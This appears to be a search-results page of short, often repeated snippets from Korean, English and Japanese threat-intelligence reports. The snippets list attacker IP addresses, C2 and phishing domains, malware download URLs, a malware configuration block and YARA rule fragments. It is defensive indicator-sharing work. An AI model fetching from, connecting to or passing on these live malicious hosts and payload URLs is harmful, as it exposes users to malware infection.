있다. readme.txt를 보면 ip(27.255.80.170)를 \"피싱 VPS 주소\"로 변경하라는 것을 알 수…","…도메인 주소 아이피 주소 국가 코드 호스팅 civilarys.store 27.255.75.153 한국[KR] Ehostict 27.255.75.158 한국[KR] Ehostict 27.255.81.111 한국[KR] Ehostict 27.255.81.113 한국[KR] Ehostict 27.255.81.77 한국[KR] Ehostict 61.97.251.248 한국[KR] Ehostict [표…","…도메인 주소 아이피 주소 국가 코드 호스팅 akites.site 159.100.29.38 독일[DE] Firstcolo GmbH 27.255.75.153 한국[KR] Ehostict 27.255.81.113 한국[KR] Ehostict 27.255.81.73 한국[KR] Ehostict 27.255.81.77 한국[KR] Ehostict 61.97.251.248 한국[KR] Ehostict [표…","…This C2 server was accessed between this time frame, over RDP by 27.255.81.118, another UAT-5394 IOC resolving multiple malicious domains registered by the threat actors.…","…167.88.173.173 95.164.86.148 80.71.157.55 84.247.179.77 45.87.153.79 45.95.11.52 104.194.152.251 yoiroyse.store pumaria.store 27.255.81.118 212.224.107.244 27.255.80.162 nmailhostserver.store 210.92.18.169 91.194.161.109 nsonlines.store","…com (27.255.81.59) - nottingham39483.com (45.58.121.194) - error-naver.com (198.252.103.74) - down-error2.com (198.252.102.112) - kan-smiko.com…","…호스팅 akites.site 159.100.29.38 독일[DE] Firstcolo GmbH 27.255.75.153 한국[KR] Ehostict 27.255.81.113 한국[KR] Ehostict 27.255.81.73 한국[KR] Ehostict 27.255.81.77 한국[KR] Ehostict 61.97.251.248 한국[KR] Ehostict [표 4] 'akites.site' 도메인의 아이피 주소 이력…","…독일[DE] Firstcolo GmbH 27.255.75.153 한국[KR] Ehostict 27.255.81.113 한국[KR] Ehostict 27.255.81.73 한국[KR] Ehostict 27.255.81.77 한국[KR] Ehostict 61.97.251.248 한국[KR] Ehostict [표 4] 'akites.site' 도메인의 아이피 주소 이력 ○ 27.255.75.153 아이피를 포함해 다수의 공통 주소로…","…this malware i s 144.76.109.61 and the IP address of another, related server hosting the Kimsuky-controlled domain civilarys.store is 27.255.81.77 .…","…The flaw, which exists in Flash Player 28.0.0.137 and below, was distributed via malicious Office documents containing the embedded Flash exploit.…","…following is an example of the default URL with an added number, download1.ns360.info: orig: 84.45.76.100 = 54 2D 4C 64 = 644C2D54 xored: 29.214.39.124 = 1D D6 27 7C = 7C27D61D This IP XOR technique was later seen implemented in other malware from the Lazarus Group.…","…IP 주소 3.222.42.202:443 (TCP) 52.7.66.68:443 (TCP) 2023-04-06 08:08:46 UTC 기준 바이러스토탈(VirusTotal)에서 탐지 하는 보안 업체들은 다음과 같습니다. Acronis (Static…","…13.248.158.159 [*] Done: Found 500 domains for 2.57.90.16 [*] Done: Found 104 domains for 5.196.104.158 [*] Done: Found 500 domains for 3.33.243.145 [*] Done: Found 500 domains for 13.248.151.237 [*] Done: Found 500 domains for 2.57.90.58 [*] Done: Found 137 domains for 15.235.33.18 [*]…","…[IP/URL] strivemktsupporters.com(3.39.208.187)를 제외하고, 아래 IP는 공격자에 의해 C2로 사용됐으나, 현재도 서비스 중인 정상 사이트들이다.…","…C2 http://projectcell.niv.co.in/non_scientific/service.php http://40.121.90.194/help.php http://3.89.226.234/login.php http://sora.bz/xoops_root_path/uploads/information/about.php http://sora.bz/xoops_root_path/templates_c/login.php…","…File:QRLog.java File:prefTmp.java File:QRCodeGenerator_Java.zip File:AppleAccount.pdf File:AppleAccountAgent File:p.dat IP:45.77.123.18 IP:3.90.35.35 URL:auth.pxaltonet.org URL:www.git-hub.me URI:/file/d/1J6943NKwGIcWHh7lj4o9gJe__9p7F1o7/view MD5:0fb16054a1486b754d1fcc5c6b6e1b01 MD5:26b7d…","…NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3) Host: 3.90.97.16 Content-Length: 0 Proxy-Connection: Keep-Alive Pragma: no-cache Although it is a HTTP POST request, it does not contain any data to send.…","…NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3) Host: 3.90.97.16 Content-Length: 0 Proxy-Connection: Keep-Alive Pragma: no-cache Base64 データ “[8 文字のランダムな文字列 ][ データ ][ ランダム文字列 (4-12 文字 )]\" [ データ ]…","…NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3) Host: 3.90.97.16 Content-Length: 0 Proxy-Connection: Keep-Alive Pragma: no-cache Base64 data \"[8-letter random string][ data ][random string (4-12…","…LLC 2021‑10‑12 A compromised legitimate site hosting the C&C server https://aquaprographix.com/patterns/Map/maps.php 31.11.32.79 Aruba S.p.A.…","…103.227.176.20 automercado.co.cr 54.241.91.49 ns3145204.ip-51-68-119.eu 51.68.119.230 reverse-31-186-8 - 221.turkicaret.net 31.186.8.221 kmdia.or.kr 210.217.137.70…","…doodles.skillquestions.com 6 quiz-nest.com 51.210.235.45 7 provevidskillcheck.com 31.220.40.22 8 evalswift.com 78.110.166.82 References: [1]New campaign targeting security…","…⚫ 158.247.200.50 ⚫ 158.247.212.35 ⚫ 158.247.240.44 ⚫ 158.247.245.18 ⚫ 167.1.17.177 ⚫ 176.65.128.26 ⚫ 31.220.5.43 ⚫ 45.32.121.84 Operation Double Barrel 64 ⚫ 45.32.25.205 ⚫ 45.76.48.70 ⚫ 51.15.109.222 ⚫ 77.73.66.137 ⚫…","…Will also match threat-intel feeds and exit-node lists stored on disk” strings: $ip1 = “103.216.220.92” ascii wide fullword $ip2 = “31.223.184.166” ascii wide fullword $ip3 = “37.19.200.5” ascii wide fullword $ip4 = “134.209.159.64” ascii wide fullword $ip5 = “103.114.163.188” ascii…","…walks the relays in order and falls back to Tor when none answer. Attack chain Relay failover order Step 1 Primary relay 31.76.7.137:443, analytics.gif Step 2 Second relay 45.125.67.42:443, pixel.png Step 3 Third relay vi-yaminnay.sbs:443,…","….194.69.94:443(TCP) 173.194.79.94:443(TCP) 173.194.79.95:443(TCP) 192.178.27.195:443(TCP) 192.178.49.195:443(TCP) 239.255.255.250:1900(UDP) 34.104.35.123:80(TCP) 34.87.124.238:443(TCP) 63.250.38.85:443(TCP) 74.125.143.94:443(TCP) 8.8.8.8:53(UDP) 2023-08-22 08:37:31 UTC 바이러스토탈에서 탐지하는 보안…","…GreezaBackdoor of DarkHotel 5e0e11bca0e94914e565c1dcc1ee6860 Konni 4c2016df6b546326d67ac2a79dea1343 URLs http://34.13.42.35/uploads/1.jpg http://34.13.42.35/uploads/2.jpg http://34.13.42.35/uploads/qwerty.jpg http://34.13.42.35/uploads/girl.jpg http://34.13.4…","…Dropper Installer Downloader Config File r efer to Include UAC Bypass method [General] Agent=Host Process Update UrlCount =5 URL1=34.13.42.35 URL2=34.13.42.35 URL3=kmbr1.nitesbr1.org URL4=www.stjohns-burscough.org URL5=lotusprintgroup.com Object1 =/uploads/girl.jpg Object2 =/uploa…","…[US] 54.86.50.139 [US] 192.186.3.160 [US] 159.100.13.216 [DE] 34.198.205.50 [US] 79.133.56.173 [DE] 67.211.213.224 [US] 이 글 공유하기…","…wuaze.com goldenftp.rf.gd plaza.xo.je gabber.42web.io humimianserver.kesug.com drone.ct.ws 46.4.112.56 192.144.34.77 192.144.34.40 34.203.111.164 223.16.184.105 GO UP BACK TO ALL POSTS POPULAR POSTS…","…3.194.79.94:443(TCP) 173.194.79.95:443(TCP) 192.178.27.195:443(TCP) 192.178.49.195:443(TCP) 239.255.255.250:1900(UDP) 34.104.35.123:80(TCP) 34.87.124.238:443(TCP) 63.250.38.85:443(TCP) 74.125.143.94:443(TCP) 8.8.8.8:53(UDP) 2023-08-22 08:37:31 UTC 바이러스토탈에서 탐지하는 보안 업체들은 다음과 같습니다.…","…transfer.cab 에 포함 이 된 VBS 파일 C&C 176.97(.064.174:80 (http://shutss.com/list.php?6385730(0)2331562265=bx5RX5T b(x)6I5%2fs4mBw%3d%3d) 35.245.79.218:443(https://thevintagegarage.com) 최근 북한 애들 보니까 transfer.cab 이런 식으로 cab 파일에 vbs 파일을 집어넣어 두고 풀고 삭제 그리고 한국 사이트는 수사가 잘 이루어지니 오픈소스를 기반으로 한…","…S.Korea, India, and China have been infected (see the list below), including two cases whose IP belongs to the host in Zhengzhou, Henan: 36.99.136.129 and 36.99.136.136. Partial list of infected hosts In addition, during the analysis, we also captured some stolen files.…","…and China have been infected (see the list below), including two cases whose IP belongs to the host in Zhengzhou, Henan: 36.99.136.129 and 36.99.136.136. Partial list of infected hosts In addition, during the analysis, we also captured some stolen files.…","…51.38.145.49:443 Attacker IP IP Address 213.252.232.171:443 Attacker IP IP Address 131.226.2.120:443 Attacker IP IP Address 37.120.247.180:443 Attacker IP IP Address 88.119.175.208:443 Attacker IP IP Address 193.233.171.58 Attacker IP IP Address 193.233.85.234 Attacker…","…, 51.38.145.49:443 showmanroast.com , 213.252.232.171:443 getstockprice.info , 131.226.2.120:443 eclairdomain.com , 37.120.247.180:443 replaydreary.com , 88.119.175.208:443 coreladao.com cdn.clubinfo.io We’ll create a project in Validin to track these…","…gossipsnare.com, 51.38.145.49:443 showmanroast.com, 213.252.232.171:443 getstockprice.info, 131.226.2.120:443 eclairdomain.com, 37.120.247.180:443 replaydreary.com, 88.119.175.208:443 coreladao.com cdn.clubinfo.io Attacker IPs: 193.233.171.58 193.233.85.234 Attacker…","…GMX, 163, Skiff, Protonmail, and Yopmail services. Transaction IP addresses 5.226.137.4 27.109.114.188 37.120.151.162 37.140.254.144 37.140.254.189 45.128.199.27 45.8.25.82 45.8.68.79 45.8.68.80 45.83.220.216 45.86.202.216 45.86.202.4 45.95.243.104…","…Protonmail, and Yopmail services. Transaction IP addresses 5.226.137.4 27.109.114.188 37.120.151.162 37.140.254.144 37.140.254.189 45.128.199.27 45.8.25.82 45.8.68.79 45.8.68.80 45.83.220.216 45.86.202.216 45.86.202.4 45.95.243.104 45.95.243.155…","…lists stored on disk” strings: $ip1 = “103.216.220.92” ascii wide fullword $ip2 = “31.223.184.166” ascii wide fullword $ip3 = “37.19.200.5” ascii wide fullword $ip4 = “134.209.159.64” ascii wide fullword $ip5 = “103.114.163.188” ascii wide fullword $ip6 = “95.217.98.37”…","…It is important to note the CAB file is disguised as a JPEG image on the compromised host ( http://37.238.135.70/img/anan.jpg ). A closer look at the compromised server shows an unconvincing website for the “Information Department” of the “South Oil…","…37.72.175.179 United States ASN29802 HIVELOCITY, Inc.…","…서버의 공통점과 흡사한 스타일의 도메인 다수의 변종 악성앱이 일본(JP)소재의 '193.148.16.45' IP주소와 통신을 수행하는데, 동일한 앱명과 패키지명을 쓰는 변종 중에 4월 경 서명된 것은 미국(US) 지역에 할당된 '37.72.175.223' IP주소를 사용한 바 있습니다.…","…서명자 아이콘 MD5 C2 DaumProtect.apk app.project.appcheck 2019/04/05 01:25:18 Daum 29506d03bf3f06df62089bed5af58906 37.72.175.223 KakaoTalk.apk app.project.appcheck 2019/03/31 20:14:07 Jhon 6c290d6ddbe317844a4dccdc2259c6c1 193.148.16.45…","…IP (C2 disguise) 67.65.229.53 US 2015-08-05 2015-08-19 88.223.23.193 62.201.235.227 Iraq 2015-08-26 2015-10-23 37.87.25.23 127.0.0.1 N/A 2015-10-30 2015-11-20 100.158.242.245 46.100.250.10 Iran 2015-11-27 2016-01-07 53.250.8.254…","…N/A C&C server for BADCALL for Linux 38.108.185.79 38.108.185.115 od.lk Cogent Communications 2023-03-16 Remote OpenDrive storage containing SimplexTea ( /d/NTJfMzg4MDE1NzJf/vxmedia )…","…N/A C&C server for BADCALL for Linux 38.108.185.79 38.108.185.115 od.lk Cogent Communications 2023-03-16 Remote OpenDrive storage containing SimplexTea (…","…URL http://104.168.145.83:993/ http://107.148.71.88:993/ http://159.100.6.137:993/ http://38.110.1.69:993/ http://45.114.129.138:33890/ Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For…","…URL http://104.168.145.83:993/ http://104.36.229.179/ http://104.36.229.179/am.dll http://38.110.1.69/ http://38.110.1.69:993/ AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…URL http://104.168.145.83:993/ http://104.36.229.179/ http://104.36.229.179/am.dll http://38.110.1.69/ http://38.110.1.69:993/ Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For subscription…","…for C2 using HTTP POST requests with multipart/form-data Content-Types. creaideck.com Information as of March 2020: IP Address: 38.132.124.161 Registrar: NameCheap, Inc. Created: March 9, 2020 Expires: March 9, 2021 aideck.net Information as of June 2020: IP Address:…","…The alert included two IP addresses (38.132.124.250, 89.249.65.220) as well as two files: syschk.ps1 MD5: 26466867557f84dd4784845280da1f27 SHA1:…","…rentedpushy.com basketsalute.com prontoposer.com IP addresses: 146.19.173.125 23.227.202.54 38.132.124.88 88.119.174.148 198.244.135.250 POOLRAT SHA256 hashes: f3b0da965a4050ab00fce727bb31e0f889a9c05d68d777a8068cfc15a71d3703…","…104.168.143.111 147.79.103.251 216.107.137.53 23.254.164.232 23.254.204.184 23.254.244.248 23.254.247.32 23.254.247.53 38.110.228.112 38.146.28.252 45.42.40.200 45.42.40.208 5.230.251.49 5.230.252.157 5.230.44.79 5.230.54.23 5.230.78.47 HTTP Feature Hashes that were useful pivots:…","…이 과정에 사용된 패스워드 문자열은 다음과 같습니다. BFigyOed7KVjU993ZCJzYb8R [그림 6-5] cliconfg.au3 디코딩 과정 분석 결과, RftRAT은 일본 소재의 38.180.148.108 C2 서버와 통신을 시도하며, 후속 명령 수신을 위해 지속적으로 연결을 유지하는 동작을 합니다.…","…Lilith RAT Hosting technology LTD 91.107.208.93 23.254.225.184 194.68.27.204 GSRAT 116.202.99.218 38.180.249.56 Hetzner Online GmbH M247 Europe SRL 62.113.118.157 • The threat actor abuses WordPress-based web sites as staging infrastructure • They…","…2024-03-19 2024-03-20 Python api.thaibit.io 79.137.248.193 2024-03-07 2024-03-09 Python chainanalyser.com 38.180.62.135 2024-02-23 2024-03-06 JavaScript Additional Resources North Korea Responsible for $1.5 Billion Bybit Hack – Internet…","…URL http://38.180.68.238/0906/down/train0.php?query=1 http://iso3488.co.kr/adm/img/up/down0/list.php?query=1 http://kyungdaek.com/js/sub/aos/dull/down1/list.php?q…","…through 5 IPs in 9 days : Date IP Provider Country Domains Status Feb 26 162.255.119.150 Namecheap parking US 2 Redirect Feb 26 38.60.220.135 Kaopu Cloud HK KR 2 Dead Feb 26 118.194.249.109 UCloud HK KR 40 Proxy up, backend dead Mar 2 27.102.137.38 DAOU Technology KR 37…","…Network IP Domain Hosting provider First seen Details 39.106.249.68 sqgame.com.cn Hangzhou Alibaba Advertising Co.,Ltd.…","…3121503B477597761D82CF2CFB0E9D8DF469357E3F8 Adfind C92C158D7C37FEA795114FA6491FE5F145AD2F8C08776B18AE79DB811E8E36A3 IPs 104.155.149.103 40.121.90.194 185.29.8.162 146.4.21.94 46.183.221.109 84.38.133.145 109.248.150.13 155.94.210.11 192.186.183.133 54.68.42.4 84.38.133.145 213.180.180.154…","…C2 http://projectcell.niv.co.in/non_scientific/service.php http://40.121.90.194/help.php http://3.89.226.234/login.php http://sora.bz/xoops_root_path/uploads/information/about.php http://sora.bz/xoops_root_path/template…","…Adfind C92C158D7C37FEA795114FA6491FE5F145AD2F8C08776B18AE79DB811E8E36A3 IPs 104.155.149.103 40.121.90.194 185.29.8.162 146.4.21.94 46.183.221.109 84.38.133.145 109.248.150.13 155.94.210.11 192.186.183.133 54.68.42.4 84.38.133.145…","…81ee247eb8d9116893e5742d12b2d8cd2835db3f751d6be16c2e927b892c5dc7 DNS requests domain ocsp.digicert.com Connections ip 40.126.31.137 ip 20.190.154.19 ip 23.48.202.145 ip 8.248.143.254 ip 104.89.38.104 HTTP/HTTPS requests url…","…- 41.131.29.59:443 (EG) - 176.35.250.93:443 (GB) - 64.86.34.24:443 (CA) [그림 10] 명령 제어 서버 코드 화면 그리고 이 파일 역시 개인 금융 소프트웨어…","…1d195c40169cbdb0f50eca40ebda62321aa05a54137635c7ebb2960690eb1d82 de13155f4a4cb1af04539883545151905ad4496ea6ef34cb22e50831f7caa38a 41.131.29.59 176.35.250.93 64.86.34.24 58.6.21.11 114.215.107.218 118.140.97.6 190.216.219.247 201.26.209.137 14.161.14.196…","…IPアドレス と思われるリスト ドロッパー(d1c27ee7ce18675974edf42d4eea25c6)の 動的解析 で確認されたSPEの内部アドレスと思われるリスト 43.130.141.42 43.130.141.22 43.130.141.103 43.130.141.21 43.130.141.115 43.130.141.75 43.130.141.23 43.130.141.78 43.130.141.83 ３． マルウェア 詳細：SMBワーム (1) 機能概要…","…動的解析 で確認されたSPEの内部アドレスと思われるリスト 43.130.141.42 43.130.141.22 43.130.141.103 43.130.141.21 43.130.141.115 43.130.141.75 43.130.141.23 43.130.141.78 43.130.141.83 ３． マルウェア 詳細：SMBワーム (1) 機能概要 Windows のSMB共有を介して広がるワームタイプの…","…ドロッパー(d1c27ee7ce18675974edf42d4eea25c6)の 動的解析 で確認されたSPEの内部アドレスと思われるリスト 43.130.141.42 43.130.141.22 43.130.141.103 43.130.141.21 43.130.141.115 43.130.141.75 43.130.141.23 43.130.141.78 43.130.141.83 ３． マルウェア 詳細：SMBワーム (1) 機能概要 Windows…","…SPE内部ネットワークの IPアドレス と思われるリスト ドロッパー(d1c27ee7ce18675974edf42d4eea25c6)の 動的解析 で確認されたSPEの内部アドレスと思われるリスト 43.130.141.42 43.130.141.22 43.130.141.103 43.130.141.21 43.130.141.115 43.130.141.75 43.130.141.23 43.130.141.78 43.130.141.83 ３． マルウェア 詳細：SMBワーム…","…動的解析 で確認されたSPEの内部アドレスと思われるリスト 43.130.141.42 43.130.141.22 43.130.141.103 43.130.141.21 43.130.141.115 43.130.141.75 43.130.141.23 43.130.141.78 43.130.141.83 ３． マルウェア 詳細：SMBワーム (1) 機能概要 Windows のSMB共有を介して広がるワームタイプの マルウェア 認証を ブルートフォース…","….235 米国 N/A SPE内部ネットワークの IPアドレス と思われるリスト ドロッパー(d1c27ee7ce18675974edf42d4eea25c6)の 動的解析 で確認されたSPEの内部アドレスと思われるリスト 43.130.141.42 43.130.141.22 43.130.141.103 43.130.141.21 43.130.141.115 43.130.141.75 43.130.141.23 43.130.141.78 43.130.141.83 ３． マルウェア…","…動的解析 で確認されたSPEの内部アドレスと思われるリスト 43.130.141.42 43.130.141.22 43.130.141.103 43.130.141.21 43.130.141.115 43.130.141.75 43.130.141.23 43.130.141.78 43.130.141.83 ３． マルウェア 詳細：SMBワーム (1) 機能概要 Windows のSMB共有を介して広がるワームタイプの マルウェア 認証を…","…43.130.141.42 43.130.141.22 43.130.141.103 43.130.141.21 43.130.141.115 43.130.141.75 43.130.141.23 43.130.141.78 43.130.141.83 ３． マルウェア 詳細：SMBワーム (1) 機能概要 Windows のSMB共有を介して広がるワームタイプの マルウェア 認証を ブルートフォース…","…45.61.163.100 100.163.61.45.static.cloudzy.com 45.61.163.113 113.163.61.45.static.cloudzy.com 45.61.163.43 43.163.61.45.static.cloudzy.com 45.61.129.29 – 153.75.91.159 – Telegram Exfiltration Infrastructure Field Value “Aurora”…","…압축 파일명 이력서 모음 .zip 다운로드 도메인 filestorage.b4a.app/download.html (Back4app) 아이피 주소 44.199.48.119 [ 미국 ], 54.164.68.94 [ 미국 ] / (AMAZON-AES) 악성 파일명 임원이력서 - 김 **.lnk ( 일부 * 표기 대체 ) MD5 1b046ab2261bc0dc5c6cd999f9a8b1c6…","…HdacWallet.exe wallet.hdac-tech.com 44.227.76.166 2020-08-14 porkbun.com help@hdactech.info hdactech.info 44.227.65.245 44.227.76.166 2020-09-23 porkbun.com ◇ 위협 배후는 특정 정부와 연계된 해킹조직 탈륨! 구글 플레이 공식 마켓을 통해 유포된 안드로이드 악성앱은 다음과 같은 아이콘…","…C2 서버 할당 IP 주소 도메인 생성 날짜 도메인 등록 (호스팅) wallet.hdac-tech.com 44.227.76.166 2020-08-14 porkbun.com [그림 4] 악성 파일에 의해 변조된 파일 내부의 주소 화면 이외에도 다른 변종 코드에서는 다음과 같은 주소들이 사용되었고, 공격에 사용된 이메일 주소도…","…and nohup …/iSync –type=renderer 2026-03-29 05:00:55 C2 connection SystemUpdate => technicais (176.97.114.232), iSync => hubpage (45.11.59.140), Telegram at 05:00:58 2026-03-29 05:00:58 Implant re-arm xattr -rd com.apple.quarantine + chmod +x on iSync (GatekeeperBypass)…","…and support my work. Subscribe SentinelOne lists two IP/domain pairs as ROOFDECK C2s: 85.137.56.245 — grenight.com 45.11.59.140 — storage.hubpage.cloud Searching for the same certificate issuer found 213.111.148.242 .…","…Compare the certificate dates The comparison below covers two endpoints: 213.111.146.132 — commsouthindia.com 45.11.59.184 — diamonddtrailers.com Both certificates have the same issuer, AKI and yuli Subject OU.…","…confirmed C2 services. For storage.hubpage.cloud , three distinct certificates occur on: 45.11.59.140 78.141.211.155 45.11.59.99 The repeated SAN crosses hosting networks and Subject labels.…","…URL http://104.168.145.83:993/ http://107.148.71.88:993/ http://159.100.6.137:993/ http://38.110.1.69:993/ http://45.114.129.138:33890/ Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For subscription details, click the…","…Attack chain Relay failover order Step 1 Primary relay 31.76.7.137:443, analytics.gif Step 2 Second relay 45.125.67.42:443, pixel.png Step 3 Third relay vi-yaminnay.sbs:443, content.js Step 4 Tor fallback Two onion services when TLS…","…and Yopmail services. Transaction IP addresses 5.226.137.4 27.109.114.188 37.120.151.162 37.140.254.144 37.140.254.189 45.128.199.27 45.8.25.82 45.8.68.79 45.8.68.80 45.83.220.216 45.86.202.216 45.86.202.4 45.95.243.104 45.95.243.155 66.115.146.163…","…C2 주소는 'eastsea.or.kr (45.13.135.103)' 입니다.…","…2020 16 To catch a Banshee: One pivot to find them Black Banshee C2 infrastructure tends to have many overlaps Let’s take a single IP: 45.13.135.103 ● Different domains over months ● Goldmine of email phishing (Gmail, Naver, Daum…) ● Crossover with AppleSeed C2s ● MIND THE HYPHEN More…","…— 실제로는 exe 실행 파일이며 C&C 서버에 연결, 레지스트리 변조, explorer.exe에 인젝션과 같은 실제 악성행위를 수행합니다. 네트워크 연결 http://suzuki.datastore.pe.hu (45.13.135.103:80) C&C 서버로 접속을 시도합니다. http://suzuki.datastore.pe.hu//?m=a&p1=5254004a04af&p2=win_6.1.7601-x32_DROPPER 을 통해 추가적으로 악성파일을 다운로드 합니다. p1 에는…","…( work/mnt/hgfs/Desktop/New folder/forward.conf ), the phishing VPS IP is set to 45.133.194.88 . Currently, nid-security.com resolves to 45.133.194.126 , an IP in the same range as the one configured in forward.conf .…","…알 수 있는데, 피싱 VPS 서버 ip를 설정하는 파일( work/mnt/hgfs/Desktop/New folder/forward.conf )에서 ip는 45.133.194.88로 설정되어 있다. 현재 nid-security.com 도메인 ip는 45.133.194.126으로, work/mnt/hgfs/Desktop/New folder/forward.con 에서 확인한 ip(45.133.194.88)와 같은 대역대이다.…","…VPS address.\" However, in a separate configuration file ( work/mnt/hgfs/Desktop/New folder/forward.conf ), the phishing VPS IP is set to 45.133.194.88 . Currently, nid-security.com resolves to 45.133.194.126 , an IP in the same range as the one configured in forward.conf .…","…보면 ip(27.255.80.170)를 \"피싱 VPS 주소\"로 변경하라는 것을 알 수 있는데, 피싱 VPS 서버 ip를 설정하는 파일( work/mnt/hgfs/Desktop/New folder/forward.conf )에서 ip는 45.133.194.88로 설정되어 있다. 현재 nid-security.com 도메인 ip는 45.133.194.126으로, work/mnt/hgfs/Desktop/New folder/forward.con 에서 확인한 ip(45.133.194.88)와 같은 대역대이다.…","…As of April 2022, this page was unavailable. dafom.dev Information as of February 2022: IP Address: 45.14.227.58 Registrar: NameCheap, Inc. Created: February 7, 2022 Expires: February 7, 2023…","…2024-07-03 2024-08-22 JavaScript cdn.soccerlab.io 146.70.124.70 2024-08-07 2024-08-21 Python api.coinpricehub.io 45.141.58.40 2024-05-06 2024-08-06 Java cdn.leaguehub.net 5.133.9.252 2024-07-15 2024-07-21 Python cdn.clublogos.io 146.19.173.29…","…If we check the passive DNS data for this domain, we find two other IP address resolutions: 172.93.201.253 in November 2021 and 45.147.231.213 in September 2021. The IP address 172.93.201.253 was recently used to host the domain - disneycareers.net which was attributed to…","…3000 TCP Whois Queried whois.ripe.net with \"-B 45.147.231.77\"... % Information related to '45.147.228.0 - 45.147.231.255' % Abuse contact for '45.147.228.0 - 45.147.231.255' is 'abuse@combahton.net' inetnum: 45.147.228.0 - 45.147.231.255 netname:…","…(Ants2Whale) [Redacted] (Ants2Whale.dmg) Domains (2) ants2whale.com qnalytica.com IPs (1) 45.147.231.77 Findings [Redacted] Tags downloaderloader Details Name Ants2Whale.dmg Size [Redacted] bytes Type zlib…","…woodmate.it Domain dorusio.com Domain ants2whale.com Domain qnalytica.com Domain 216.189.150.185 IP 23.152.0.101 IP 45.147.231.77 IP About the Author Threat Hunter Team Symantec and Carbon Black The Threat Hunter Team is a group of security experts within…","…poisoning BLOCK / MONITOR 20 173.249.16.192 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 21 45.148.10.201 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR CHANNEL INTELLIGENCE · 24 OCTOBER 2026 CONVERSATION…","…poisoning BLOCK / MONITOR 10 170.64.226.40 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 11 45.148.10.80 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 12 152.237.230.29 PHP web shell tooling / upload…","…2025-06-02 ScoringMathTea C&C server: https://partnerls.pl/wp-content/themes/public/index.php 45.148.29.122 trainingpharmacist .co.uk Webdock.io ApS 2024-06-13 ScoringMathTea C&C server:…","…f6f00417b925bf42090a89f8668fb554 f85016e8cc6b509a9fba1ccd1dc88da1 fa87911771a52e3c1ffb1c39da59540c C2 45.150.109.102 85.155.224.59 103.153.65.67 111.92.246.145 169.197.85.174 195.250.24.113 Domain argeninese.dothome.co.kr…","…at Hunt to access valuable insights and contribute to the collective effort in combating cyber threats. IOC's IP Address 45.195.69.28 27.255.75.158 Domains binace.homes account.binace.homes support.binace.homes…","…= “95.217.98.37” ascii wide fullword $ip7 = “92.118.112.100” ascii wide fullword $ip8 = “85.11.167.243” ascii wide fullword $ip9 = “45.198.224.169” ascii wide fullword $ip10 = “109.71.252.97” ascii wide fullword condition: any of them } rule…","…celasllc.com domain resolved to the following Internet Protocol (IP) addresses from May 29, 2018, to January 23, 2021. 45.199.63.220 107.187.66.103 145.249.106.19 175.29.32.160 185.142.236.213 185.181.104.82 198.251.83.27 208.91.197.46 209.99.64.18…","…The decrypted data contains: 63429981 63407466 45.238.25.2 443 To verify the parameter’s legitimacy, the malware XORs the second parameter with the 0x5837 hex value, comparing it with the first…","…⚫ 158.247.212.35 ⚫ 158.247.240.44 ⚫ 158.247.245.18 ⚫ 167.1.17.177 ⚫ 176.65.128.26 ⚫ 31.220.5.43 ⚫ 45.32.121.84 Operation Double Barrel 64 ⚫ 45.32.25.205 ⚫ 45.76.48.70 ⚫ 51.15.109.222 ⚫ 77.73.66.137 ⚫ 86.106.85.89 ⚫…","…samples (SHA-1: BF84712C5314DF2AA851B8D4356EA51A9AD50257 and 77DAF77D9D2A08CC22981C004689B870F74544B5 ), the payload delivery server 45.32.206.169 hosting EDRKillShifter and WKTools (a utility to explore and modify the Windows kernel, used in many Play intrusions), and SystemBC with…","…and WKTools (a utility to explore and modify the Windows kernel, used in many Play intrusions), and SystemBC with C&C server 45.32.210.151 . The following sections go into the individual intrusions in more detail. RansomHub In July 2024, QuadSwitcher deployed the…","…⚫ 158.247.245.18 ⚫ 167.1.17.177 ⚫ 176.65.128.26 ⚫ 31.220.5.43 ⚫ 45.32.121.84 Operation Double Barrel 64 ⚫ 45.32.25.205 ⚫ 45.76.48.70 ⚫ 51.15.109.222 ⚫ 77.73.66.137 ⚫ 86.106.85.89 ⚫ 154.205.138.70 ⚫ 154.90.62.67 ⚫ 118.219.232.101…","…the source code. The jmttrading.org domain resolved to the following IP addresses from October 15, 2016, to January 22, 2021. 45.33.2.79 45.33.23.183 45.56.79.23 45.79.19.196 96.126.123.244 146.112.61.107 184.168.221.40 184.168.221.57 198.187.29.20…","…code. The jmttrading.org domain resolved to the following IP addresses from October 15, 2016, to January 22, 2021. 45.33.2.79 45.33.23.183 45.56.79.23 45.79.19.196 96.126.123.244 146.112.61.107 184.168.221.40 184.168.221.57 198.187.29.20 198.54.117.197…","…Swoonchul Kwon bitcoin014@han mail.net intercasher.com 156.67.222.226 (SG) Swoonchulkwon Kwon bitcoin014@han mail.net rnailr.com 45.34.176.130 (US) Swoonchul Kwon bitcoin014@han mail.net rnailo.com 154.194.120.14 (HK) Swoonchul Kwon bitcoin014@han mail.net rnailn.com…","…143.111 147.79.103.251 216.107.137.53 23.254.164.232 23.254.204.184 23.254.244.248 23.254.247.32 23.254.247.53 38.110.228.112 38.146.28.252 45.42.40.200 45.42.40.208 5.230.251.49 5.230.252.157 5.230.44.79 5.230.54.23 5.230.78.47 HTTP Feature Hashes that were useful pivots: Feature…","…9.103.251 216.107.137.53 23.254.164.232 23.254.204.184 23.254.244.248 23.254.247.32 23.254.247.53 38.110.228.112 38.146.28.252 45.42.40.200 45.42.40.208 5.230.251.49 5.230.252.157 5.230.44.79 5.230.54.23 5.230.78.47 HTTP Feature Hashes that were useful pivots: Feature Pivots…","…se.dwg se.dwg dog.dwg VERSION 1.1.8 1.1.8 4.4.3 HOSTS 45.95.186.232:80 45.43.60.53:80 70.36.97.236:443 TAG {Specific Identifier} {Name of Company Damaged} {Name of Company Damaged}_it1…","…domain 